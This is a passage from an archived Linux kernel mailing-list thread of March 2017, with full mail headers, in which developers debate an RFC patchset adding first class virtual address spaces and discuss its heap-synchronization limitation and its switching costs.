         8zTeenGAi38y1H6P88oMuhHzk7oXh69nGfWs4FqjxrWBIguY8vQXsxGxNUzGvxOtXuKn
         eg2w==
X-Gm-Message-State: AFeK/H1LuLCzJPqLCddFBAW94dwlCnMsz5zBuPw143R7NgH9lh8g5Q/pzzNQzW1dZU431uaq7rUVgbt9grz/xSp5h0jkMhjPvP9THAp1cDC3dKVOMVSQ89HVCRzw4Ilt55TbCkYTBD1Qcf+zxeyGOh9qX3irIvC95ucYiaEOrTF97TL/d5pt9AE1m8Pq3SwEWX4vnpw33bvgud5866yQZrkdCLrb0u2FwJfmCtcFwtLKTqcWxULRFb8ZtCIuvP6z2jL9XUcY0Vt2uDU3y8zasM40VsLH2nytr/2VkVd9vxwWVHWOWnp5HYg=
X-Received: by 10.28.234.20 with SMTP id i20mr12481215wmh.91.1489451979935;
        Mon, 13 Mar 2017 17:39:39 -0700 (PDT)
X-Received: by 10.28.234.20 with SMTP id i20mr12481194wmh.91.1489451979337;
        Mon, 13 Mar 2017 17:39:39 -0700 (PDT)
Original-Received: from mail-wr0-x243.google.com (mail-wr0-x243.google.com. [2a00:1450:400c:c0c::243])
        by mx.google.com with ESMTPS id u16si2721308wrc.200.2017.03.13.17.39.38
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 13 Mar 2017 17:39:39 -0700 (PDT)
Received-SPF: pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c0c::243 as permitted sender) client-ip=2a00:1450:400c:c0c::243;
Authentication-Results: mx.google.com;
       dkim=pass header.i=@googlemail.com;
       spf=pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c0c::243 as permitted sender) smtp.mailfrom=till.smejkal@googlemail.com;
       dmarc=pass (p=QUARANTINE sp=QUARANTINE dis=NONE) header.from=googlemail.com
Original-Received: by mail-wr0-x243.google.com with SMTP id g10so22052772wrg.0;
        Mon, 13 Mar 2017 17:39:38 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=20161025;
        h=from:date:to:cc:subject:message-id:mail-followup-to:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=kX6sEnfv8YQCir28cNWirD6F6mMiV4RXj8z30zPf8Ak=;
        b=PjtY74ZQsZ14g6IdKY36EUKX7qoBc5xXUCuNRxfCslG9p0o5QccUpygxJQLqjvd2m0
         32EWQjGRgq3zYWygIPGt3VTCP/lgfVYd9drRmePhM8HWFK4NP4q4z2/KMCaiULsqMZ1D
         eVejey3iP8JnKPjl4aXaIKjjIGmCSHKigcT9k6qyipsUUXPN7McrNtM1kaP0jp2Ky9PN
         X27By7qrbs6ZKA+kFTMGNtKbFHoAAmGe4Hge9WMMMNm94vBI7ikAHgTahWjBFfIg0TxL
         p4A0bes2GEuNKhcmPtCRP78w7tr56Eesl6j+3Vt/QqxVO0M6i+0pzWNsREuV13bw3wrF
         Tfog==
X-Received: by 10.223.129.230 with SMTP id 93mr29692349wra.41.1489451978728;
        Mon, 13 Mar 2017 17:39:38 -0700 (PDT)
Original-Received: from localhost (login1.zih.tu-dresden.de. [141.76.16.140])
        by smtp.googlemail.com with ESMTPSA id k195sm13288084wmd.7.2017.03.13.17.39.37
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Mon, 13 Mar 2017 17:39:37 -0700 (PDT)
X-Google-Original-From: Till Smejkal <till.smejkal@gmail.com>
Mail-Followup-To: Richard Henderson <rth@twiddle.net>,
	Till Smejkal <till.smejkal@googlemail.com>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>, Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>, Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Rich 
Content-Disposition: inline
In-Reply-To: <73f62aca-d442-9e4b-3e2c-6269e2632e68@twiddle.net>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-aio@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-aio.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.aio.general:4954 gmane.linux.kernel:2431313 gmane.linux.ports.alpha:4140 gmane.linux.kernel.arc:2229 gmane.linux.ports.arm.kernel:564782 gmane.linux.ports.hexagon:1165 gmane.linux.ports.ia64:27704 gmane.linux.kernel.metag:1274 gmane.linux.ports.mips.general:58351 gmane.linux.ports.parisc:27332 gmane.linux.ports.ppc64.devel:139544 gmane.linux.ports.sh.devel:55138 gmane.linux.ports.sparc:24735 gmane.linux.drivers.video-input-infrastructure:114761 gmane.linux.drivers.mtd:72549 gmane.linux.usb.general:156130 gmane.linux.file-systems:119102 gmane.linux.kernel.mm:168279 gmane.linux.kernel.api:22538 gmane.linux.kernel.cross-arch:35546 gmane.linux.alsa.devel:165324
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.aio.general/4954>

On Tue, 14 Mar 2017, Richard Henderson wrote:
> On 03/14/2017 08:14 AM, Till Smejkal wrote:
> > At the current state of the development, first class virtual address spaces
> > have one limitation, that we haven't been able to solve so far. The feature
> > allows, that different threads of the same process can execute in different
> > AS at the same time. This is possible, because the VAS-switch operation
> > only changes the active mm_struct for the task_struct of the calling
> > thread. However, when a thread switches into a first class virtual address
> > space, some parts of its original AS are duplicated into the new one to
> > allow the thread to continue its execution at its current state.
> > Accordingly, parts of the processes AS (e.g. the code section, data
> > section, heap section and stack sections) exist in multiple AS if the
> > process has a VAS attached to it. Changes to these shared memory regions
> > are synchronized between the address spaces whenever a thread switches
> > between two of them. Unfortunately, in some scenarios the kernel is not
> > able to properly synchronize all these shared memory regions because of
> > conflicting changes. One such example happens if there are two threads, one
> > executing in an attached first class virtual address space, the other in
> > the tasks original address space. If both threads make changes to the heap
> > section that cause expansion of the underlying vm_area_struct, the kernel
> > cannot correctly synchronize these changes, because that would cause parts
> > of the virtual address space to be overwritten with unrelated data. In the
> > current implementation such conflicts are only detected but not resolved
> > and result in an error code being returned by the kernel during the VAS
> > switch operation. Unfortunately, that means for the particular thread that
> > tried to make the switch, that it cannot do this anymore in the future and
> > accordingly has to be killed.
> 
> This sounds like a fairly fundamental problem to me.

Yes I agree. This is a significant limitation of first class virtual address spaces.
However, conflict like this can be mitigated by being careful in the application
that uses multiple first class virtual address spaces. If all threads make sure that
they never resize shared memory regions when executing inside a VAS such conflicts do
not occur. Another possibility that I investigated but not yet finished is that such
resizes of shared memory regions have to be synchronized more frequently than just at
every switch between VASes. If one for example "forward" memory region resizes to all
AS that share this particular memory region during the resize operation, one can
completely eliminate this problem. Unfortunately, this introduces a significant cost
and introduces a difficult to handle race condition.

> Is this an indication that full virtual address spaces are useless?  It
> would seem like if you only use virtual address segments then you avoid all
> of the problems with executing code, active stacks, and brk.

What do you mean with *virtual address segments*? The nice part of first class
virtual address spaces is that one can share/reuse collections of address space
segments easily.

Till

--
To unsubscribe, send a message with 'unsubscribe linux-aio' in
the body to majordomo@kvack.org.  For more info on Linux AIO,
see: http://www.kvack.org/aio/
Don't email: <a href=mailto:"aart@kvack.org">aart@kvack.org</a>


From - Thu Nov 08 21:39:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Andy Lutomirski <luto@kernel.org>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.drivers.mtd,gmane.linux.usb.general,gmane.linux.file-systems,gmane.linux.kernel.aio.general,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.alsa.devel
Subject: Re: [RFC PATCH 00/13] Introduce first class virtual address spaces
Date: Mon, 13 Mar 2017 17:58:01 -0700
Lines: 56
Approved: news@gmane.org
Message-ID: <CALCETrWe8uOi3m8qXUbMA4017+rxbi1C8hzZ0bwjVHmfdE4FnQ@mail.gmail.com>
References: <20170313221415.9375-1-till.smejkal@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: blaine.gmane.org 1489453130 26967 195.159.176.226 (14 Mar 2017 00:58:50 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 14 Mar 2017 00:58:50 +0000 (UTC)
Cc: Richard Henderson <rth@twiddle.net>, Ivan Kokshaysky <ink@jurassic.park.msu.ru>, 
	Matt Turner <mattst88@gmail.com>, Vineet Gupta <vgupta@synopsys.com>, 
	Russell King <linux@armlinux.org.uk>, Catalin Marinas <catalin.marinas@arm.com>, 
	Will Deacon <will.deacon@arm.com>, Steven Miao <realmz6@gmail.com>, 
	Richard Kuo <rkuo@codeaurora.org>, Tony Luck <tony.luck@intel.com>, 
	Fenghua Yu <fenghua.yu@intel.com>, James Hogan <james.hogan@imgtec.com>, 
	Ralf Baechle <ralf@linux-mips.org>, "James E.J. Bottomley" <jejb@parisc-linux.org>, 
	Helge Deller <deller@gmx.de>, Benjamin Herrenschmidt <benh@kernel.crashing.org>, 
	Paul Mackerras <paulus@samba.org>, Michael Ellerman <mpe@ellerman.id.au>, 
	Martin Schwidefsky <schwidefsky@de.ibm.com>, Heiko Carstens <heiko.carstens@de.ibm.com>, 
	Yoshinori Sato <ysato@users.sourceforge.jp>, Rich Felker <dalias@libc.org>, 
	"David S. Miller" <davem@dave
To: Till Smejkal <till.smejkal@googlemail.com>
Original-X-From: owner-linux-mm@kvack.org Tue Mar 14 01:58:38 2017
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1cnanN-0005tn-T6
	for glkm-linux-mm-2@m.gmane.org; Tue, 14 Mar 2017 01:58:38 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 7BAB96B0388; Mon, 13 Mar 2017 20:58:43 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 71BE36B038A; Mon, 13 Mar 2017 20:58:43 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 5E4616B038B; Mon, 13 Mar 2017 20:58:43 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-pg0-f70.google.com (mail-pg0-f70.google.com [74.125.83.70])
	by kanga.kvack.org (Postfix) with ESMTP id 1E81A6B0388
	for <linux-mm@kvack.org>; Mon, 13 Mar 2017 20:58:43 -0400 (EDT)
Original-Received: by mail-pg0-f70.google.com with SMTP id 190so259351300pgg.3
        for <linux-mm@kvack.org>; Mon, 13 Mar 2017 17:58:43 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-original-authentication-results:x-gm-message-state:mime-version
         :in-reply-to:references:from:date:message-id:subject:to:cc;
        bh=CirYlaz7EaOv+qLlQs8/fpduAfIUV3f5wZow8yuZ75Y=;
        b=bT08K3O7fPN09gD7Cc2jBcdKu4EBPGH+G06S795r63kfpIysT5uO/7n75ImSPbhYv/
         UIe7kJHR/XlSA/GmJW8j/EWyAJHLSy6MyyIlqrx4uMNQII4D3DBFMGRTmwX3aTDLu95x
         BRI6XodpQ2QGbT58lsKTbvmR+/W4PDTEl2i2rB1XKmPGBHcSd3KA1So2P8SBNnGP6NK8
         dIUs6AUPSo6G4jnTpprMQWfIsXqC+pW6gZTQu3GtTrb2NnYYBu28T95osrg6UxS+TpyH
         96Dr7lhQxDxT1ZkHXX6NSr4ILP37d0elHW1eJlF/M+D621eaoDCHXfu+I0rz+zVDNuTZ
         i5hg==
X-Original-Authentication-Results: mx.google.com;       spf=pass (google.com: best guess record for domain of luto@kernel.org designates 198.145.29.136 as permitted sender) smtp.mailfrom=luto@kernel.org
X-Gm-Message-State: AMke39mNUillIOBabRoX3rPnPQEi9U4OC1NkI87dAtGY42TUGEh8kHerVB3DH1APzjKvyUkfcpBuvWjr/p/+4AAl15NntovxnjA7j85ok7qflqrPwXWvnyv9DVXXu9YBC6s1kEZKvFpkevyf+alKBIuRpleMs3JwRd4F3AoxbRoaLH8MuAh/oOV7i84i
X-Received: by 10.98.106.134 with SMTP id f128mr41295596pfc.142.1489453121319;
        Mon, 13 Mar 2017 17:58:41 -0700 (PDT)
X-Received: by 10.98.106.134 with SMTP id f128mr41295570pfc.142.1489453120902;
        Mon, 13 Mar 2017 17:58:40 -0700 (PDT)
Original-Received: from mail.kernel.org (mail.kernel.org. [198.145.29.136])
        by mx.google.com with ESMTPS id n3si12992321pfn.108.2017.03.13.17.58.40
        for <linux-mm@kvack.org>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 13 Mar 2017 17:58:40 -0700 (PDT)
Received-SPF: pass (google.com: best guess record for domain of luto@kernel.org designates 198.145.29.136 as permitted sender) client-ip=198.145.29.136;
Authentication-Results: mx.google.com;
       spf=pass (google.com: best guess record for domain of luto@kernel.org designates 198.145.29.136 as permitted sender) smtp.mailfrom=luto@kernel.org
Original-Received: from mail.kernel.org (localhost [127.0.0.1])
	by mail.kernel.org (Postfix) with ESMTP id 44FC2204AF
	for <linux-mm@kvack.org>; Tue, 14 Mar 2017 00:58:39 +0000 (UTC)
Original-Received: from mail-ua0-f173.google.com (mail-ua0-f173.google.com [209.85.217.173])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(No client certificate requested)
	by mail.kernel.org (Postfix) with ESMTPSA id 665742044B
	for <linux-mm@kvack.org>; Tue, 14 Mar 2017 00:58:36 +0000 (UTC)
Original-Received: by mail-ua0-f173.google.com with SMTP id f54so157314528uaa.1
        for <linux-mm@kvack.org>; Mon, 13 Mar 2017 17:58:36 -0700 (PDT)
X-Received: by 10.176.1.167 with SMTP id 36mr17478386ual.92.1489453101697;
 Mon, 13 Mar 2017 17:58:21 -0700 (PDT)
Original-Received: by 10.103.88.135 with HTTP; Mon, 13 Mar 2017 17:58:01 -0700 (PDT)
In-Reply-To: <20170313221415.9375-1-till.smejkal@gmail.com>
X-Gmail-Original-Message-ID: <CALCETrWe8uOi3m8qXUbMA4017+rxbi1C8hzZ0bwjVHmfdE4FnQ@mail.gmail.com>
X-Virus-Scanned: ClamAV using ClamSMTP
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:168281 gmane.linux.kernel:2431340 gmane.linux.ports.alpha:4141 gmane.linux.kernel.arc:2230 gmane.linux.ports.arm.kernel:564783 gmane.linux.ports.hexagon:1166 gmane.linux.ports.ia64:27705 gmane.linux.kernel.metag:1275 gmane.linux.ports.mips.general:58352 gmane.linux.ports.parisc:27333 gmane.linux.ports.ppc64.devel:139548 gmane.linux.ports.sh.devel:55139 gmane.linux.ports.sparc:24736 gmane.linux.drivers.video-input-infrastructure:114762 gmane.linux.drivers.mtd:72550 gmane.linux.usb.general:156131 gmane.linux.file-systems:119103 gmane.linux.kernel.aio.general:4955 gmane.linux.kernel.api:22540 gmane.linux.kernel.cross-arch:35547 gmane.linux.alsa.devel:165325
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/168281>

On Mon, Mar 13, 2017 at 3:14 PM, Till Smejkal
<till.smejkal@googlemail.com> wrote:
> This patchset extends the kernel memory management subsystem with a new
> type of address spaces (called VAS) which can be created and destroyed
> independently of processes by a user in the system. During its lifetime
> such a VAS can be attached to processes by the user which allows a process
> to have multiple address spaces and thereby multiple, potentially
> different, views on the system's main memory. During its execution the
> threads belonging to the process are able to switch freely between the
> different attached VAS and the process' original AS enabling them to
> utilize the different available views on the memory.

Sounds like the old SKAS feature for UML.

> In addition to the concept of first class virtual address spaces, this
> patchset introduces yet another feature called VAS segments. VAS segments
> are memory regions which have a fixed size and position in the virtual
> address space and can be shared between multiple first class virtual
> address spaces. Such shareable memory regions are especially useful for
> in-memory pointer-based data structures or other pure in-memory data.

This sounds rather complicated.  Getting TLB flushing right seems
tricky.  Why not just map the same thing into multiple mms?

>
>             |     VAS     |  processes  |
>     -------------------------------------
>     switch  |       468ns |      1944ns |

The solution here is IMO to fix the scheduler.

Also, FWIW, I have patches (that need a little work) that will make
switch_mm() waaaay faster on x86.

> At the current state of the development, first class virtual address spaces
> have one limitation, that we haven't been able to solve so far. The feature
> allows, that different threads of the same process can execute in different
> AS at the same time. This is possible, because the VAS-switch operation
> only changes the active mm_struct for the task_struct of the calling
> thread. However, when a thread switches into a first class virtual address
> space, some parts of its original AS are duplicated into the new one to
> allow the thread to continue its execution at its current state.

Ick.  Please don't do this.  Can we please keep an mm as just an mm
and not make it look magically different depending on which process
maps it?  If you need a trampoline (which you do, of course), just
write a trampoline in regular user code and map it manually.

--Andy

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:39:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Till Smejkal <till.smejkal@googlemail.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.drivers.mtd,gmane.linux.usb.general,gmane.linux.file-systems,gmane.linux.kernel.aio.general,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.alsa.devel
Subject: Re: [RFC PATCH 00/13] Introduce first class virtual address spaces
Date: Mon, 13 Mar 2017 18:31:12 -0700
Lines: 38
Approved: news@gmane.org
Message-ID: <20170314013112.ofhcgg2stzoft5mw@arch-dev>
References: <fa60d132-0eef-4350-3c88-1558f447a48f@twiddle.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1489455088 5645 195.159.176.226 (14 Mar 2017 01:31:28 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 14 Mar 2017 01:31:28 +0000 (UTC)
User-Agent: NeoMutt/20170306 (1.8.0)
Cc: Till Smejkal <till.smejkal@googlemail.com>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>, Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>, Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Rich Felker <dalias@libc.org>,
	"David S. Miller" <davem
To: Richard Henderson <rth@twiddle.net>
Original-X-From: owner-linux-mm@kvack.org Tue Mar 14 02:31:14 2017
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1cnbIv-0008MW-E2
	for glkm-linux-mm-2@m.gmane.org; Tue, 14 Mar 2017 02:31:13 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id BD7706B038C; Mon, 13 Mar 2017 21:31:18 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id B38746B038A; Mon, 13 Mar 2017 21:31:18 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 98C1B6B038B; Mon, 13 Mar 2017 21:31:18 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-wm0-f69.google.com (mail-wm0-f69.google.com [74.125.82.69])
	by kanga.kvack.org (Postfix) with ESMTP id 3E98B6B0388
	for <linux-mm@kvack.org>; Mon, 13 Mar 2017 21:31:18 -0400 (EDT)
Original-Received: by mail-wm0-f69.google.com with SMTP id v190so16562109wme.0
        for <linux-mm@kvack.org>; Mon, 13 Mar 2017 18:31:18 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:dkim-signature:from:date:to:cc:subject
         :message-id:mail-followup-to:mime-version:content-disposition
         :in-reply-to:user-agent;
        bh=RcdCplRFEgF8BLITwxt5zck0mddUo9r+/XC3gPtPx5E=;
        b=CTP4hUyvaw/CYJXW6ND/QKa+Rd5HbtbFEXKtfduH3biv43VP6WCyltGqMeOCkj3/g4
         dMNYatxU4Ya6znw5BKY6PQbFArIOjS9d4lL4gjrO1InZLpeMcA7J6qBh1LdQdVxXAB7T
         6EzDHovFMo34z/tfTPQL3iF6KlosKtKqF3U62JDTnKDHlB8dQjIXKCdyumiV8xN/d8Nk
         ApsHSZeVm4RiGMEToGYJu+0UolvBH0rFTwrqi5G81thso6ShkAQQkycBAraiAYD6Ga/J
         Cy9i0TBM9KuW2/rSrRqc2kagMdkLZ0V3vJSOo6v/sfwXo1IC4Yz9FS5awWVinex6XswP
         gvWw==
X-Gm-Message-State: AFeK/H1xNN52nlkx6hDLhM7s47YJbZ2Nx+RYFEqJ7u0Q5V8sFJANqFeOvfWbODdTU6AAuUdzWGvcYn+1esreUdfs6WHeJtGzr+wVay0jvCK0YgYsNaVvJHbwIqcHzNX/Dsn/otN+OYYMJhQBMXAP7mcJ3QsHBSsL4CXGOCeB/QeOYGJTQzMwlV96w547gKuisRdEvcEqZFafPtsh/jwriwfHeUcmFzSzAS5CnUecQl6Ia6ggxboOjFWxIIpi6kWB55bc7ncqDLZdFwg1IWOTjNWVaRGNyXiBBPALYCVSGZ2SxsFCnQ==
X-Received: by 10.28.50.6 with SMTP id y6mr12408528wmy.112.1489455077760;
        Mon, 13 Mar 2017 18:31:17 -0700 (PDT)
X-Received: by 10.28.50.6 with SMTP id y6mr12408499wmy.112.1489455077072;
        Mon, 13 Mar 2017 18:31:17 -0700 (PDT)
Original-Received: from mail-wm0-x243.google.com (mail-wm0-x243.google.com. [2a00:1450:400c:c09::243])
        by mx.google.com with ESMTPS id c13si2881154wrb.34.2017.03.13.18.31.16
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 13 Mar 2017 18:31:17 -0700 (PDT)
Received-SPF: pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c09::243 as permitted sender) client-ip=2a00:1450:400c:c09::243;
Authentication-Results: mx.google.com;
       dkim=pass header.i=@googlemail.com;
       spf=pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c09::243 as permitted sender) smtp.mailfrom=till.smejkal@googlemail.com;
       dmarc=pass (p=QUARANTINE sp=QUARANTINE dis=NONE) header.from=googlemail.com
Original-Received: by mail-wm0-x243.google.com with SMTP id v190so12546851wme.3;
        Mon, 13 Mar 2017 18:31:16 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=20161025;
        h=from:date:to:cc:subject:message-id:mail-followup-to:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=RcdCplRFEgF8BLITwxt5zck0mddUo9r+/XC3gPtPx5E=;
        b=EgoObGd55uxIE6SRqECTGJxopY0qiIUVT363P/4nOd6SOLpTQ9Ux1VhKzUIMKPyfLp
         rkIHWUZJVn2R7D5VnNwrtH11sg0WQGKGR2Wnt5cjxYiE2pwuSDaW96y/w8CZRlQVadb8
         kOVTrVpDLGGmWIqUXyV7Jtn0F8RT93q6YcCwIQx5+WTJx6EnfDhdmo8bIbuMIbinhTdU
         wuKxeWrFB5PHA5GaKXjPOuM/b/4oFlLEX8tCEIgkR7+kXcQTBeMlz6O8cQi64LHnvYnP
         ydDMXIDkVuKGO/niC3rcCP44rCAje8FlzxNRDV3OV4ABH9d5eLbLE7+is9VC9tiFZ7wV
         uVxw==
X-Received: by 10.28.151.142 with SMTP id z136mr13847406wmd.20.1489455076097;
        Mon, 13 Mar 2017 18:31:16 -0700 (PDT)
Original-Received: from localhost (login1.zih.tu-dresden.de. [141.76.16.140])
        by smtp.googlemail.com with ESMTPSA id 32sm26904219wrr.64.2017.03.13.18.31.14
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Mon, 13 Mar 2017 18:31:14 -0700 (PDT)
X-Google-Original-From: Till Smejkal <till.smejkal@gmail.com>
Mail-Followup-To: Richard Henderson <rth@twiddle.net>,
	Till Smejkal <till.smejkal@googlemail.com>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>, Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>, Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Rich 
Content-Disposition: inline
In-Reply-To: <fa60d132-0eef-4350-3c88-1558f447a48f@twiddle.net>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:168284 gmane.linux.kernel:2431353 gmane.linux.ports.alpha:4142 gmane.linux.kernel.arc:2231 gmane.linux.ports.arm.kernel:564785 gmane.linux.ports.hexagon:1167 gmane.linux.ports.ia64:27706 gmane.linux.kernel.metag:1276 gmane.linux.ports.mips.general:58354 gmane.linux.ports.parisc:27334 gmane.linux.ports.ppc64.devel:139550 gmane.linux.ports.sh.devel:55140 gmane.linux.ports.sparc:24737 gmane.linux.drivers.video-input-infrastructure:114764 gmane.linux.drivers.mtd:72552 gmane.linux.usb.general:156134 gmane.linux.file-systems:119104 gmane.linux.kernel.aio.general:4957 gmane.linux.kernel.api:22541 gmane.linux.kernel.cross-arch:35548 gmane.linux.alsa.devel:165327
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/168284>

On Tue, 14 Mar 2017, Richard Henderson wrote:
> On 03/14/2017 10:39 AM, Till Smejkal wrote:
> > > Is this an indication that full virtual address spaces are useless?  It
> > > would seem like if you only use virtual address segments then you avoid all
> > > of the problems with executing code, active stacks, and brk.
> > 
> > What do you mean with *virtual address segments*? The nice part of first class
> > virtual address spaces is that one can share/reuse collections of address space
